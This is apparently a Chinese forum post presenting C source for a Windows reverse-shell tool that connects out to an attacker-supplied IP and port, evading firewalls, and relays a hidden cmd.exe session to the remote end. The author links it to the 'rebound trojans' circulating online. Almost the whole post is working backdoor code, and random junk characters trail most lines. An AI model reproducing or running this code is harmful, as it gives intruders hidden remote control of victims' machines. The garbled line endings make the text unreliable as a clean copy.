这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 $M$oNOT}Y
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/* ============================== #9#N+
Rebound port in Windows NT PrDvRWM
By wind,2006/7 ZKAIG=l&!
===============================*/ q fadsVp
#include ^^3
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#include i.0}qS?
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#pragma comment(lib,"wsock32.lib") Ds&)0Iwf
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void OutputShell(); Fm*n>^P@Y
SOCKET sClient; 7:mM`0g!
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; W{=>c/
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void main(int argc,char **argv) frc>0\
{ E88_15'3D
WSADATA stWsaData; 1a/@eqF''
int nRet; |~8iNcIS
SOCKADDR_IN stSaiClient,stSaiServer; Ga N4In[d
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if(argc != 3) HTf7r-
{ vRn^n
printf("Useage:\n\rRebound DestIP DestPort\n"); 4LUFG
return; pjIXZ=
} <ynmA
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WSAStartup(MAKEWORD(2,2),&stWsaData); U/D\N0
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); + 5sTGNG
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stSaiClient.sin_family = AF_INET; jVi''#F?f
stSaiClient.sin_port = htons(0); :*A6Ba
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Zo-s_6uC
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) py
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{ &R\
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printf("Bind Socket Failed!\n"); ]Ol@^$8}
return; c}g^wLa
} q,0o:nI
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stSaiServer.sin_family = AF_INET; -;Cl0O%
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); k+JDbJ@
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Gob1V
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) rguC#Xt!4
{ #x':qBv#
printf("Connect Error!"); -.ha\ t0J
return; HQQc<7c",
} j9x}D;?n
OutputShell(); 5c3)p^]g
} C1r]kF
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void OutputShell() E"pq ZP =
{ \qNj?;B
char szBuff[1024]; lwQI
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SECURITY_ATTRIBUTES stSecurityAttributes; 5a5I+*
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OSVERSIONINFO stOsversionInfo; 2+sNt6B2
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; &0Wv+2l@
STARTUPINFO stStartupInfo; H.|FEV@
char *szShell; H5^'J`0\
PROCESS_INFORMATION stProcessInformation; J3S@1"
unsigned long lBytesRead; 2@uo2]o)
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); #^yw!~:{
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); [=S@lURzm@
stSecurityAttributes.lpSecurityDescriptor = 0; o-GlBXI;
stSecurityAttributes.bInheritHandle = TRUE; N/qr}-
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); \96?OCdr
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); D0lgKQ
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); h&NcN-["
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `fY~Lv{4d_
stStartupInfo.wShowWindow = SW_HIDE; psgXJe$
stStartupInfo.hStdInput = hReadPipe; 6@ToPbj4
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; F>96]71
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GetVersionEx(&stOsversionInfo); w[~$.FM/
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switch(stOsversionInfo.dwPlatformId) d]0fgwwGC
{ ^r}^-
case 1: ~ NKw}6
szShell = "command.com"; 2\CFt;fk
break; q 1Rk'k4+
default: C8-4 m68"
szShell = "cmd.exe"; kNd[M =%
break; \m*?5]m;
} m9wV#Ldu
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); azS"*#r6}
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send(sClient,szMsg,77,0); dfO@Yo-?*'
while(1) Gv?'R0s
{ "
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); =5[}&W
if(lBytesRead) #'v7mEwt
{ q,PB;TT
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); w2@ `0
send(sClient,szBuff,lBytesRead,0); ~{=+dQ
} g$EjIHb
else 5ok3q@1_]{
{ VkRvmKYl
lBytesRead=recv(sClient,szBuff,1024,0); x6.an_W6
if(lBytesRead<=0) break; s'tmak-}|
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); vz#rbBY*;
} )?K3nr
} o'D{ql
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return; q/XZb@rt
}